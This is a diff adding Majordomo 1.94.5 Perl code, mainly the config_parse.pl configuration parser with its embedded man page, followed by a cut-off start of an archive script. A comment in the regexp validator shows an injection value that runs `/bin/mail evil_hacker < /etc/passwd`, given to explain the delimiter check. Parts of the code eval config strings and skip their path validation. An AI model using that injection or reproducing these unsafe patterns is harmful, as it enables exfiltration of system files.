+allows a user to subscribe to a list using the domain address rather +than the address assigned to a particular machine in the domain. This +keyword affects the interpretation of addresses for subscribe, +unsubscribe, and all private options.", + +'admin_passwd', +"The password for handling administrative +tasks on the list.", + +'strip', +"When adding address to the list, strip off all +comments etc, and put just the raw address in the +list file. In addition to the keyword, if the file +.strip exists, it is the same as +specifying a yes value. That yes value is overridden +by the value of this keyword.", + +'date_info', +"Put the last updated date for the info file at the +top of the info file rather than having it appended +with an info command. This is useful if the file is being +looked at by some means other than majordomo (e.g. finger).", + +'date_intro', +"Put the last updated date for the intro file at the +top of the intro file rather than having it appended +with an intro command. This is useful if the file is being +looked at by some means other than majordomo (e.g. finger).", + +'moderate', +"If yes, all postings to the list will be +bounced to the moderator for approval.", + +'moderator', +"Address for directing posts which require approval. Such +approvals might include moderated mail, administrivia traps, +and restrict_post authorizations. If the moderator address +is not set, it will default to the list-approval address.", + +'approve_passwd', +"Password to be used in the approved header +to allow posting to moderated list, or +to bypass resend checks.", + +'sender', +"The envelope and sender address for the +resent mail. This string has \"\@\" and the value +of resend_host appended to it to make a +complete address. For majordomo, it provides the sender address +for the welcome mail message generated as part of the subscribe command.", + +'maxlength', +"The maximum size of an unapproved message in characters. When used +with digest, a new digest will be automatically generated if the size +of the digest exceeds this number of characters.", + +'precedence', +"Put a precedence header with value +into the outgoing message.", + +'reply_to', +"Put a reply-to header with value +into the outgoing message. If the token \$SENDER is used, then the +address of the sender is used as the value of the reply-to header. +This is the value of the reply-to header for digest lists.", + +'restrict_post', +"If defined, only addresses listed in these files (colon or +space separated) can post to the mailing list. By default, +these files are relative to the lists directory. These files +are also checked when get_access, index_access, info_access, +intro_access, which_access, or who_access is set to 'list'. +This is less useful than it seems it should be since there +is no way to create these files if you do not have access to +the machine running resend. This mechanism will be replaced +in a future version of majordomo/resend.", + +'resend_host', +"The host name that is appended to all address +strings specified for resend.", + +'purge_received', +"Remove all received lines before resending the message.", + +'administrivia', +"Look for administrative requests (e.g. subscribe/unsubscribe) and forward +them to the list maintainer instead of the list.", + +'debug', +"Don't actually forward message, just go though the motions.", + +'archive_dir', +"The directory where the mailing list archive is kept. This item does +not currently work. Leave it blank.", + +'message_fronter', +"Text to be prepended to the beginning of all messages posted to the list. +The text is expanded before being used. The following expansion tokens +are defined: \$LIST - the name of the current list, \$SENDER - the +sender as taken from the from line, \$VERSION, the version of +majordomo. If used in a digest, only the expansion token _SUBJECTS_ is +available, and it expands to the list of message subjects in the digest", + +'message_footer', +"Text to be appended at the end of all messages posted to the list. +The text is expanded before being used. The following expansion tokens +are defined: \$LIST - the name of the current list, \$SENDER - the +sender as taken from the from line, \$VERSION, the version of +majordomo. If used in a digest, no expansion tokens are provided", + +'message_headers', +"These headers will be appended to the headers of the posted message. +The text is expanded before being used. The following expansion tokens +are defined: \$LIST - the name of the current list, \$SENDER - the +sender as taken from the from line, \$VERSION, the version of +majordomo.", + +'subject_prefix', +"This word will be prefixed to the subject line, if it is not already +in the subject. The text is expanded before being used. The following +expansion tokens are defined: \$LIST - the name of the current list, +\$SENDER - the sender as taken from the from line, \$VERSION, the +version of majordomo.", + +'taboo_headers', +"If any of the headers matches one of these regexps, then the message +will be bounced for review.", + +'taboo_body', +"If any line of the body matches one of these regexps, then the message +will be bounced for review.", + +'digest_volume', +"The current volume number", + +'digest_issue', +"The issue number of the next issue", + +'digest_work_dir', +"The directory used as scratch space for digest. Don't +change this unless you know what you are doing", + +'digest_name', +"The subject line for the digest. This string has the volume + and issue appended to it.", + +'digest_archive', +"The directory where the digest archive is kept. This item does +not currently work. Leave it blank.", + +'digest_rm_footer', "The value is the name of the list that applies +the header and footers to the messages that are received by +digest. This allows the list supplied headers and footers to be +stripped before the messages are included in the digest.", + +'digest_rm_fronter', +'Works just like digest_rm_footer, except it removes the front material.', + +'digest_maxlines', +"automatically generate a new digest when the size of the digest exceeds +this number of lines.", + +'digest_maxdays', +"automatically generate a new digest when the age of the oldest article in +the queue exceeds this number of days.", +); + +# match commands to their subsystem, by default only 4 subsystems +# exist, majordomo, resend, digest and config. +%subsystem = ( + 'welcome', 'majordomo', + 'announcements', 'majordomo', + 'get_access', 'majordomo', + 'index_access', 'majordomo', + 'info_access', 'majordomo', + 'intro_access', 'majordomo', + 'who_access', 'majordomo', + 'which_access', 'majordomo', + 'advertise', 'majordomo', + 'noadvertise', 'majordomo', + 'description', 'majordomo', + 'subscribe_policy', 'majordomo', + 'unsubscribe_policy', 'majordomo', + 'mungedomain', 'majordomo', + 'admin_passwd', 'majordomo', + 'strip', 'majordomo', + 'date_info', 'majordomo', + 'date_intro', 'majordomo', + 'archive_dir', 'majordomo', +# stuff for resend below + 'moderate', 'resend', + 'moderator', 'resend', + 'approve_passwd', 'resend', + 'sender', 'majordomo,resend,digest', + 'maxlength', 'resend,digest', + 'precedence', 'resend,digest', + 'reply_to', 'resend,digest', + 'restrict_post', 'resend', + 'purge_received', 'resend', + 'administrivia', 'resend', + 'resend_host', 'resend', + 'debug', 'resend', + 'message_fronter', 'resend,digest', + 'message_footer', 'resend,digest', + 'message_headers', 'resend,digest', + 'subject_prefix', 'resend', + 'taboo_headers', 'resend', + 'taboo_body', 'resend', +# digest here + 'digest_volume', 'digest', + 'digest_issue', 'digest', + 'digest_work_dir', 'digest', + 'digest_name', 'digest', + 'digest_archive', 'digest', + 'digest_rm_footer', 'digest', + 'digest_rm_fronter', 'digest', + 'digest_maxlines', 'digest', + 'digest_maxdays', 'digest', +# general stuff here + 'comments', 'config', +); + +# match a parse function to a keyword +# the parse function will be called to parse the value string for +# the keyword +%parse_function = ( + 'welcome', 'grab_bool', + 'announcements', 'grab_bool', + 'get_access', 'grab_enum', + 'index_access', 'grab_enum', + 'info_access', 'grab_enum', + 'intro_access', 'grab_enum', + 'who_access', 'grab_enum', + 'which_access', 'grab_enum', + 'advertise', 'grab_regexp_array', + 'noadvertise', 'grab_regexp_array', + 'description', 'grab_string', + 'subscribe_policy', 'grab_enum', + 'unsubscribe_policy', 'grab_enum', + 'mungedomain', 'grab_bool', + 'admin_passwd', 'grab_word', + 'strip', 'grab_bool', + 'date_info', 'grab_bool', + 'date_intro', 'grab_bool', + 'archive_dir', 'grab_absolute_dir', +# stuff for resend below + 'moderate', 'grab_bool', + 'moderator', 'grab_word', + 'approve_passwd', 'grab_word', + 'sender', 'grab_word', + 'maxlength', 'grab_integer', + 'precedence', 'grab_word', + 'reply_to', 'grab_word', + 'restrict_post', 'grab_restrict_post', + 'purge_received', 'grab_bool', + 'administrivia', 'grab_bool', + 'resend_host', 'grab_word', + 'debug', 'grab_bool', + 'message_fronter', 'grab_string_array', + 'message_footer', 'grab_string_array', + 'message_headers', 'grab_string_array', + 'subject_prefix', 'grab_word', + 'taboo_headers', 'grab_regexp_array', + 'taboo_body', 'grab_regexp_array', +# stuff for digest below + 'digest_volume', 'grab_integer', + 'digest_issue', 'grab_integer', + 'digest_work_dir', 'grab_absolute_dir', + 'digest_name', 'grab_string', + 'digest_directory', 'grab_absolute_dir', + 'digest_archive', 'grab_absolute_dir', + 'digest_rm_footer', 'grab_word', + 'digest_rm_fronter', 'grab_word', + 'digest_maxlines', 'grab_integer', + 'digest_maxdays', 'grab_integer', +# general stuff below + 'comments', 'grab_string_array', + ); + + + +#### writeconfig +# is called to create up a default config file +# if majordomo runs and access a list for which no config +# file exists. The config file must already be locked. +# +# It is also called in response to the majordomo command "writeconfig" + +sub writeconfig { + local($listdir,$list) = @_; + local($key,$intro,$type,$value,$default,$subsystem,$comment) = (); + local($op) = '='; + local($oldumask) = umask($config_umask); + + + format OUT = + + @<<<<<<<<<<<<<<<<<<< @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< + $key, $intro + ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< ~~ + $comment +@<<<<<<<<<<<<<<<<<< @<< @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< +$key, $op, $value +. + + &main'open_temp(OUT, "$listdir/$list.config.out") + || &main'abort("Can't create new config file $listdir/$list.config.out"); + umask($oldumask); + +$installing_defaults = 1; + +foreach $key (sort (keys(%known_keys))) { + local($enum,@enum); + undef $enum; + + $type = $parse_function{$key}; + $type =~ s/^grab_//; # remove the grab_ prefix + $type =~ s/^.*__//; # If we have an explicit type, get it + + @enum = split(/\001/,$known_keys{$key}) if $type eq "enum"; + $default = pop(@enum); # Remove the default + + $value = $main'config_opts{$list,$key};#'; + $value = ("no","yes")[$value] if $type eq "bool"; + + $default = ($known_keys{$key} eq '' + ? "undef" + : &get_def($key, $known_keys{$key}, $list)); + $default = ("no","yes")[$default] if $type eq "bool"; + $default =~ s/\001/;/g; + $subsystem = $subsystem{$key}; + + $enums = join(';',@enum[$[..$#enum]) if $type eq "enum"; + + $intro = "[$type] ($default) <$subsystem>"; + + $intro .= " /$enums/" if $type eq "enum"; + + $comment = (defined $comments{$key} ? $comments{$key} : " "); + + if ($type =~ /_array/) { + # output items in array normal form + local($lval) = $value; + $value = "END"; + $op = '<<'; + write(OUT); + + + # handle the - escapes. We have to be careful about ordering + # the rules so that we don't accidently trigger a substitution + # if there is a - at the beginning of an entry, double it + # so that the doubled - can be striped when read in later + $lval =~ s/^-/--/g; # start with -'ed line + $lval =~ s/\001-/\001--/g; # embedded line starting with - + + # In standard form, empty lines are lines that have only + # a '-' on the line. + $lval =~ s/^\001/-\001/g; # start with blank line + $lval =~ s/\001\001/\001-\001/g; # embedded blank line + $lval =~ s/\001$/\001-/g; # trailing blank line + + # if there is space, protect it with a - + $lval =~ s/^(\s)/-$1/g; # the first line + $lval =~ s/\001(\s)/\001-$1/g; # embedded lines + + # now that all of the escapes are processed, get it ready + # to be printed. + $lval =~ s/\001/\n/g; + + print OUT $lval, "\nEND\n" + || &main'abort("Error writing config file for $list, $!"); + + $op = '='; + } else { + write(OUT) + || &main'abort("Error writing config file for $list, $!"); + } +} + +$installing_defaults = 0; + +close(OUT); + +# I have to post process the output to put the %#@^& comment character +# in. I can't do this in a forked process without getting a mix of the +# stdin to the parent and the child with Perl 4.019. + +open(MCONFIG, "> $listdir/$list.config") || + &main'abort( "Can't create new config file $listdir/$list.config"); + +print MCONFIG <'s. (undef) as default value means that the keyword is not +# defined or used. +EOS + +open(IN, "< $listdir/$list.config.out") || + &main'abort( "Can't create new config file $listdir/$list.config.out"); + +while () { + s/^(\t)(\S+)/$1# $2/; # prepend a '# ' to any line with a tab at the + # beginning preserving indentation. + print(MCONFIG) || + &main'abort("Couldn't write new config for $list, $!"); +} + +close(MCONFIG); +close(IN); +unlink("$listdir/$list.config.out"); +} + +#### handle_flag_files +# This is a compatibility routine for the non-config file +# based version of majordomo. It looks for the flag files, and +# sets the corresponding config file parameters. + +sub handle_flag_files { + local($listdir, $list) = @_; + + if ( -e "$listdir/$list.private") { + $main'config_opts{$list,"get_access"} = "closed"; + $main'config_opts{$list,"index_access"} = "closed"; + $main'config_opts{$list,"who_access"} = "closed"; + $main'config_opts{$list,"which_access"} = "closed"; + } + + $main'config_opts{$list,"subscribe_policy"} = "closed" + if ( -e "$listdir/$list.closed"); + + $main'config_opts{$list,"unsubscribe_policy"} = "closed" + if ( -e "$listdir/$list.closed"); + + if ( -e "$listdir/$list.auto" && -e "$listdir/$list.closed") { + push(@errors, + "Both listname.auto and listname.closed exist. Choosing closed\n"); + } else { + $main'config_opts{$list,"subscribe_policy"} = "auto" + if ( -e"$listdir/$list.auto"); + + $main'config_opts{$list,"unsubscribe_policy"} = "auto" + if ( -e"$listdir/$list.auto"); + } + + $main'config_opts{$list,"strip"} = 1 if ( -e "$listdir/$list.strip"); + $main'config_opts{$list,"noadvertise"} = "/.*/" + if ( -e "$listdir/$list.hidden"); +} + +######## +# +# The function that does all of the real work. +# Called with a list directory, a list name, and optionally a flag +# that indicates the config file is already locked if true (and +# should be left locked on return). +# +# List config file locking is different than other files in that a +# distinct lock file is used instead of just lopen() locking because +# it's easier to manage a persistent lock than to try to keep the file +# open (and thus locked) and pass the filehandle around. +# +sub main'get_config { + local($listdir, $list, $locked) = @_; + local($parse, $here_doc, $stop, $end) = (); + $end = 0; + + @errors = (); + + print STDERR "get_config($listdir, $list)\n" if $debug > 1; + + if ($main'config_opts{$list} && $clobber) { + # hey a reload, better clobber all previous + # entries pertaining to this list + local($i); + print STDERR "unloading entries for $list\n" if $debug > 1; + foreach $i (keys(%known_keys)) { + undef $main'config_opts{$list,"$i"}; + } + } + + $main'config_opts{$list,''} = '1'; # set a flag to indicate that we + # have parsed the config file for + # this list + print STDERR "adding site-wide defaults\n" if $debug > 1; + + $installing_defaults = 1; + + foreach $i (keys(%known_keys)) { + $main'config_opts{$list,$i} = + &get_def($i, $known_keys{$i}, $list); + } + + $installing_defaults = 0; + + + print STDERR "Overriding with existing config files\n" if $debug > 1; + &handle_flag_files($listdir, $list); # this looks for files of + # the form listname.function + + unless ($locked) { + &main'set_lock("$listdir/$list.config.LOCK") || + &main'abort( "Can't get lock for $listdir/$list.config"); + } + + print("making default\n") + if ($debug > 1) && (! -e "$listdir/$list.config"); + + &writeconfig($listdir, $list) + unless -e "$listdir/$list.config" ; + + print STDERR "parsing config get_config($listdir, $list)\n" if $debug > 1; + open(CONFIG, "$listdir/$list.config") + || &main'abort( "Can't open $listdir/$list.config"); + + while ($_ = ) { + + next if /^\s*(#|$)/; # remove comment and blank lines + chop $_; # remove the trailing \n + s/#.*//; # remove comments at the end of lines + + $here_doc = 0; + + ($key,$value) = split(/=/, $_, 2); # try splitting on = + if ($key =~ /\<\) { + $value =~ s/^\s*//; # strip whitespace front + $value =~ s/\s*$//; # strip whitespace rear + $end = 0, last if $stop eq $value; + push(@errors, + "invalid blank line found at line ", $. - 1, "\n"), $end = 0, + last if $end == 1; + + if ( $value eq '' ) { # stop accumulating on empty line + # unless it is right b4 $stop + $end = 1; + } + + # call the parse function for every value in the here document + # take the output of the parse function and add it to the + # string representation of the array. In the string representation, + # array values are separated by the ^A character. + + if (defined($main'config_opts{$list,$key})) { + $main'config_opts{$list,$key} .= "\001" . + &$parse($value, $list, $key); + } else { # we are starting an array + $main'config_opts{$list,$key} = + &$parse($value, $list, $key); + } + } + } + } + +close(CONFIG); + +&main'free_lock("$listdir/$list.config.LOCK") unless $locked; + +print STDERR @errors if $debug > 1; + +return 1 if @errors; +return 0; +} + +##### +# +# The grab functions that validate values are defined below: +# +# grab_absolute_dir - looks for root anchored existing directory +# uses @main'safedirs to determine valid +# paths. +# grab_absolute_file - looks for root anchored existing file +# uses @main'safefiles to determine valid +# paths. +# +# grab_bool - parses boolean options "yes", "y", "no", "n" +# +# grab_enum -- validates an enumerated value from a sequence +# +# grab_integer -- validates an integer +# +# grab_regexp -- validates a regexp. Must have leading and trailing +# match delimiters. +# +# grab_restrict_post -- validates the existance of files listed +# +# grab_string -- reads/returns a string. No checking is done. +# +# grab_word - grabs one whitespace delimited word. Complains if more +# than 1 word. +#### + +sub grab_absolute_dir { + local($dir, $list, $key) = @_; + + return(""); + return ("") if $dir eq "undef"; + return ("") if $dir eq ""; + + push(@errors, "Relative path element '..' in $dir is not allowed\n") + if $dir =~ m#/\.\./# ; + + push(@errors, "Anchoring path element '.' in $dir is not allowed\n") + if $dir =~ m#/\./# ; + + push(@errors, "$dir must be root anchored\n") + if $dir !~ m#^/# ; + + foreach $i (@main'safedirs) { + if ($dir =~ m#$i#) { + return $dir if ( -d $dir ); + push(@errors, "Directory $dir doesn't exist\n"); + return ""; + } + } + + push(@errors, "Directory $dir is not safe\n"); + return ""; +} + +sub grab_absolute_file { + local($file) = @_; + + return(""); + push(@errors, "Relative path element '..' in $file is not allowed\n") + if $file =~ m#/\.\./# ; + + push(@errors, "Anchoring path element '.' in $file is not allowed\n") + if $file =~ m#/\./# ; + + push(@errors, "$file must be root anchored\n") + if $file != m#^/# ; + + foreach $i (@main'safefiles) { + if ($file =~ "m#$i#") { + return $file if ( -f $file ); + push(@errors, "File $file doesn't exist\n"); + return ""; + } + } + + push(@errors, "File $file is not safe\n"); + return ""; +} + +sub grab_bool { +local($bool) = @_; + + $bool =~ tr/A-Z/a-z/; + + return 1 if $bool eq "yes"; + return 1 if $bool eq "y"; + return 0 if $bool eq "no"; + return 0 if $bool eq "n"; + + push(@errors,"Unknown boolean value $bool in config file at line $.\n"); + return 0; +} + +sub grab_enum { + local($value, $list, $key) = @_; + local($i, @enum) = ""; + local($default_value) = ""; + + if ($installing_defaults) { # the value when installing defaults is + # the entire enumerated list, with the + # default at the end + @enum = split(/\001/, $value); + $value = pop(@enum); + + $default_value = $value; + + if ( $value =~ s/^#!// ) { + $default_value = $value; + + $value = eval("$value"); + push(@errors, $@) if $@ ne ""; + + } + + # + # duplicate here for better error message during + # default setup. + # + foreach $i (@enum) { + return $value if $value eq $i; + } + push(@errors, "$value at line $. is not a valid value.\n" . + "This value was taken from the default list.\n" . + "It was produced by $default_value\n" . + "So it is likely to be taken from majordomo.cf.\n" . + "BTW, the line number shown here is the line number of the last line and not relevant.\n" . + "The key to which the value was assigned was $key " . "\n" . + "Valid values are: " . join(';', @enum) . "\nlist was $list" ); + + return ""; + + + } else { + @enum = split(/\001/, $known_keys{$key}); + pop(@enum); + } + foreach $i (@enum) { + return $value if $value eq $i; + } + push(@errors, "$value at line $. is not a valid value.\n" . + "Valid values are: " . join(';', @enum) . "\nlist was $list" . + " the key was $key " . "\n" . + "installing_default was $installing_defaults" . "\n"); + + + return ""; +} + +sub grab_integer { + local($num, $list, $key)=@_; + return($num) if $num =~ /^[1-9][0-9]*$/; + return($num) if $num =~ /^$/; + push(@errors, "$num is not an integer at line $.\n"); + return ""; +} + +sub grab_integer_array { + local($value, $list, $key) = @_; + local(@value_array) = split(/\001/,$value); + local(@return_array, @local_errors, $num) = (); + + foreach $num (@value_array){ + push(@local_errors, + "integer |$num| contains a ^A at line $.\n"), next + if $re =~ /\001/; + + push(@return_array, $num) if $num =~ /^[1-9][0-9]*$/; + push(@return_array, $num) if $num =~ /^$/; + push(@local_errors, "$num is not an integer at line $.\n"); + } + + if (@local_errors) { + push(@errors, @local_errors); + return ""; + } + return (join("\001", @return_array)); +} + +sub grab_float { + local($num)=@_; + return($num) if $num =~ /^[0-9][0-9]*\.[0-9]+$/; + return($num) if $num =~ /^$/; + push(@errors, "$num is not a floating point number at line $.\n"); + return ""; +} + +sub grab_float_array { + local($value, $list, $key) = @_; + local(@value_array) = split(/\001/,$value); + local(@return_array, @local_errors, $num) = (); + + foreach $num (@value_array){ + push(@local_errors, + "integer |$num| contains a ^A at line $.\n"), next + if $re =~ /\001/; + + push(@return_array, $num) if $num =~ /^[1-9][0-9]*\.[0-9]+$/; + push(@return_array, $num) if $num =~ /^$/; + push(@local_errors, + "$num is not an floating point number at line $.\n"); + } + + if (@local_errors) { + push(@errors, @local_errors); + return ""; + } + return (join("\001", @return_array)); +} + +sub grab_regexp_array { + local($value, $list, $key) = @_; + local(@re_array) = split(/\001/,$value); + local(@return_re, @re_errors, $re, $dlm) = (); + + foreach $re (@re_array){ + if ($re =~ /\001/) { + push(@re_errors, + "regular expression |$re| contains a ^A at line $.\n"); + } + # if we don't check for an extra deliminator here, an + # evil person could sneak stuff in here, since it + # is eval'd... + # Ie: + # advertise = << END + # m:yyy: ; `/bin/mail evil_hacker < /etc/passwd` ; "bar" =~ m:yyy: + # END + # + elsif ($re !~ m:^((/)|m([^\w\s])):) { + push(@re_errors, + "|$re| not a valid pattern match expression at line $.\n"); + } + else { + $dlm=($2||$3); + if ($re !~ m:^m?$dlm[^\\$dlm]*(\\.[^\\$dlm]*)*$dlm[gimosx]*$:) { + push(@re_errors, + "|$re| not a valid pattern match expression at line $.\n"); + } + elsif (eval "'' =~ $re", $@) { + push(@re_errors, $@); + } + else { + push(@return_re, $re); + } + } + } + + if (@re_errors) { + push(@errors, @re_errors); + return ""; + } + return (join("\001", @return_re)); +} + +sub grab_restrict_post { + local($list) = @_; + local(@files) = (); + + @files = split (/[:\s]+/, $list); + foreach (@files) { + # add listdir if no leading / + # + $_ = ( m@^/@ ? $_ : "$main'listdir/$_"); #'; + push(@errors, "Can't find restrict_post file $_ at line $.\n" ) + unless -e $_; + } + return ($list); # if the list isn't any good, resend is ok about it +} + +sub grab_string { + local($string) = @_; + return($string); +} + +# accumulate an array of strings allowing escape sequences stared with a -. +sub grab_string_array { + local($value, $list, $key) = @_; + local(@s_array) = split(/\001/,$value); + local(@return_s, @s_errors, $str) = (); + + foreach $str (@s_array){ + + # a single - on a line means a blank character/line + $str = '' if ( $str eq '-' ); + $str =~ s/^-(\s+)/$1/; # a - saves space + $str =~ s/^--/-/; # a -- means - + + push(@return_s, $str), + next if $str !~ /\001/; + push(@s_errors, + "string |$str| contains a ^A at line $.\n"); + } + + if (@s_errors) { + push(@errors, @s_errors); + return ""; + } + return (join("\001", @return_s)); +} + +sub grab_word { + local($word) = @_; + + push(@errors, "More then one word " . $count . + "in value $_ at line $.\n") + if ($count = split(' ', $word)) > 1 ; + return ($word); +} + + +#### +# +# start utility routines +# +#### +sub config'get_def { + local($key, $default, $list) = @_; + local($parser) = (); + local($digest) = undef; + + # sometimes the list variable doesn't get overridden + #$orig_list = $list; # Does anyone ever need this? + $list =~ s/.new$//; # chomp a .new extention to load + # a replacement file + $baselist = $list; # Compatibility + + &main'abort( "Improper number of args to get_def") unless defined $list; + + # discover what mode we are working in + # are we generating a digest list + $digest = 1 if $list =~ /-digest$/; + + if ( $default =~ s/^#!// ) { + $default = eval("$default"); + print $@ if $@ ne ""; + } + + $parser = $parse_function{$key}; + return(($default eq '') ? '' : &$parser($default, $list, $key)); +} + +sub substitute_values { + # BUG the string \$ can't be embedded, but I see no reason it should + # be needed + local($string, $list) = @_; + + if ( index($string, '$') < $[ ) { + # if there is no $ in the string, just return the string + return($string); + } + + # hide escaped \$ variable references + $string =~ s/\\\$/\002/; + + $string =~ s/\$LIST/$list/g; + $string =~ s/\$VERSION/$main'majordomo_version/g; + $string =~ s/\$SENDER/$main'from/g; + + # replace the escaped $'s + $string =~ s/\002/\$/; + + return($string); +} + + +#### +# +# Routines for package main. +# +#### + + +# get the boolean value. Return true if not the number 0 or null. +sub main'cf_ck_bool { #given the name of the list and item, look it up + local($list, $key) = @_; + + return (1) if (($main'config_opts{$list,$key} != 0) && + $main'config_opts{$list,$key} ne ''); + return (0); +} + + +sub main'new_keyword { # all args are required + local($key,$value,$function,$subsystem,$comment) = @_; + + die "new_keyword: key is not defined" if !defined($key); + # value can be undef, so don't check for defined state of value. + die "new_keyword: function is not defined" if !defined($function); + die "new_keyword: subsystem is not defined" if !defined($subsystem); + die "new_keyword: comments are not defined" if !defined($comment); + + $key =~ s/^\s*//; # strip whitespace front + $key =~ s/\s*$//; # strip whitespace rear + $value =~ s/^\s*//; # strip whitespace front + $value =~ s/\s*$//; # strip whitespace rear + $function =~ s/^\s*//; # strip whitespace front + $function =~ s/\s*$//; # strip whitespace rear + $subsystem =~ s/^\s*//; # strip whitespace front + $subsystem =~ s/\s*$//; # strip whitespace rear + $comment =~ s/^\s*//; # strip whitespace front + $comment =~ s/\s*$//; # strip whitespace rear + + die "Keyword $key > 18 characters" if length($key) > 18; + + $known_keys{$key} = ( defined($value) ? $value : ''); # use null value + # for undef + if (!defined(&$function)) { + die "Unknown function $function (package config) for keyword $key\n"; + } + + $parse_function{$key} = $function; # set the function + + $subsystem{$key} = $subsystem; # set the subsystem + + $comments{$key} = $comment if defined $comment; # set the documentation +} + +# a dummy main for testing. You aren't expected to understand this junk. +#package main; +#require "majordomo.cf"; +#require 'mm_match_user' ; +# +# +# +#&main'get_config($ARGV[0],$ARGV[1]); +#&config'writeconfig($ARGV[0], $ARGV[1]); +#foreach $i (sort(keys(%main'config_opts))) { +#local($j) = $i; +#$j =~ s/^$ARGV[1]$;//; +#$j =~ s/^$ARGV[1]//; +#print ($j . " = " . +# ($main'config_opts{$i} eq ''? "undef" : $main'config_opts{$i}) . "\n") +# unless $j eq ''; +#} +#print @config'errors; +# + +1; # keep require happy. + +############################################################### + +# These next few lines are legal in both Perl and nroff. + +.00; # finish .ig + +'di \" finish diversion--previous line must be blank +.nr nl 0-1 \" fake up transition to first page again +.nr % 0 \" start at page 1 +'; __END__ ##### From here on it's a standard manual page ##### +.TH config_parse.pl 8 +.SH NAME +config_parse.pl, new_keyword, config_opts, %known_keys \- Add a new keyword + to the majordomo configuration file parser. +.SH Syntax +.nf +.B &main'new_keyword(key, default_value, parse_function, subsystem, comment) + +.B $config_opts{, key} +.SH Description + +The new_keyword function registers a new keyword with the majordomo +configuration file parser. The default value, or an overriding value +specified in the config file will be put into the array +%main'config_opts, which is indexed by the listname and the key. + +The arguments to main'new_keyword are: +.TP 15 +key +The text of the keyword in the configuration file (e.g. +subscription_policy). It should use the '_' as a word separator and +should be less than 20 characters total length. + +.TP 15 +default_value +The default value for the string. Empty quotes must be used if the +value is to be null. If the default value starts with the characters +'#!', the string is eval'led in the context of the config package. The +function config'get_def performs the evaluation. Besides the global +values, the name of the list is available in the variable "$list", and +the current key name is available in the variable "$key". + +If the keyword is an enumerated type, the value must follow this form: + +.I value1^Avalue2^Avalue3^Avalue2 + +^A is control-A (ascii octal value 001). The default value for the +keyword is the last value in the list (note: that value2 must appear +twice, once to show it is a member of the list, and last to show that +it is the default value.) + +If the value can be an array, the default value can be a ^A separated +set of elements. These values correspond to the possible values of the +%known_keys array Before installing the config_opts code for the first +time, it is a good idea to look over the perl array %known_keys, and +change the default values. + +.TP 15 +parse_function +The parse function is used to validate the data supplied by the list +maintainer and to try to point out problems with the data. There are a +number of parse functions defined, all of the MUST be in the config +package. If you are writing a parse function of your own, make sure +that it is in the config package, otherwise the parser won't find it. + +By convention all of the parse functions supplied with in +config_parse.pl start with grab_. The name of the function is used to +derive a type value for the inline documentation. All functions that +are able to accept multiple arguments must end in _array. The +supplied functions are: + +.RS 15 +.TP 10 +grab_absolute_dir +A root anchored directory +.TP 10 +grab_absolute_file +A root anchored file +.TP 10 +grab_bool +choose from: yes, no, y, n +.TP 10 +grab_enum +One of a list of possible values +.TP 10 +grab_integer +an integer (string made up of the digits 0-9, no decimal point) +.TP 10 +grab_integer_array +an array of integers (string made up of the digits 0-9, no decimal point) +.TP 10 +grab_float +a floating point number with decimal point. Exponential notation is not +supported. +.TP 10 +grab_float_array +an array of floating point numbers with decimal point. +Exponential notation is not supported. +.TP 10 +grab_regexp_array +an array of perl style regular expression with leading/trailing /'s +.TP 10 +grab_restrict_post +a series of space or : separated file names in which +to look up the senders address +(restrict-post should go away to be replaced by an +array of files) +.TP 10 +grab_string +any text up until a \n stripped of leading and trailing whitespace +.TP 10 +grab_string_array +handle an array of strings possibly sperated by ^A characters. +.TP 10 +grab_word +any text with no embedded whitespace +.RE + +.TP 15 +subsystem +A unique name for the value for your subsystem. This is used to clear +out old keywords when a subsystem module is removed. Only two +subsystems are defined by default: majordomo and resend. If the digest +program is converted, then the digest subsystem will also be defined. + +I would suggest that the unique identifiers for addin subsystems to +the majordomo command be prefixed with "maj-". + +.TP 15 +comment +Documentary text that is filled and printed in the config file. This +text should describe the purpose and function of the keyword. + +.SH Diagnostics + +The function calls die if any of its arguments are missing. While this +isn't as nice as trying to handle the error, it sure does get the +attention of the majordomo maintainer. + +.SH Bugs +There is no way to add text describing a new type to the header of the +config file. The documentation on a new type has to be done in the +comment text. + +The default string for an enumerated type shouldn't require +duplication of the default value. The default value string shouldn't +be so heavily overloaded either. + +This man page should be more explicit about the checks done by the +parse functions. + +new_keyword doesn't yet check and reject duplicate keywords, so it is +up to the majordomo maintainer to make sure that keywords don't +conflict. + +main'cf_ck_bool should be documented here as well. + +.SH See Also +majordomo(8), perl(1) + diff --git a/update/scripts/packages/majordomo-1.94.5/contrib/archive.pl b/update/scripts/packages/majordomo-1.94.5/contrib/archive.pl new file mode 100644 index 0000000..0e7e7e4 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/contrib/archive.pl @@ -0,0 +1,109 @@ +#!/bin/perl + +#(Message inbox:15) +#Return-Path: Majordomo-Users-Owner@greatcircle.com +#Message-Id: +#From: Alan Millar +#Subject: Perl prog to create list archives +#To: majordomo-users@greatcircle.com +#Date: Wed, 1 Sep 1993 00:32:03 -0800 (PDT) +#Cc: brent@greatcircle.com +#Reply-To: Alan Millar +# +# +#Hi- +# +#Here is a perl program I wrote to keep mailing list archives. +#It is designed to produce list archive files similar to Revised +#Listserv. Each message is separated by a line of "==="s and +#most of the header "noise" is gone. Instead of being stored +#in one big file, they are split into one file per month with +#the name logYYMM where YY and MM are the numeric year and +#month. +# +#I call it from /usr/lib/aliases using: +# +# listname-archive: "|/usr/local/mail/majordomo/wrapper archive.pl \ +# /usr/local/mail/lists/listname.archive" +# +#Where the last parameter is the directory name to put the +#log files into. +# +#Give it a try and let me know what you think. +# +#- Alan +# +#---- ,,,, +#Alan Millar amillar@bolis.SF-Bay.org __oo \ +#System Administrator =___/ +#The skill of accurate perception is called cynicism by those who don't +#possess it. +#---- + + +# archive.pl +# Mailing list archiver. Specify the directory (not the file) +# on the command line. Messages are written to a file +# called 'logYYMM' in that directory, where YY is the two digit +# year and MM is the two-digit month. + +# Written by Alan Millar August 25 1993. + +# All these should be in the standard PERL library +unshift(@INC, $homedir); +require "majordomo.pl"; # all sorts of general-purpose Majordomo subs +require "shlock.pl"; # NNTP-style file locking + +# The headers we want to keep, in order: +@keepHeaders = + ( "To", "cc" + , "from", "reply-to", "organization" + , "date", "subject" + , "summary", "keywords" + , "Content-Type" + ); + +#----------------------------------- +# Set up output file. See if directory is specified on command line. +$outputDir = 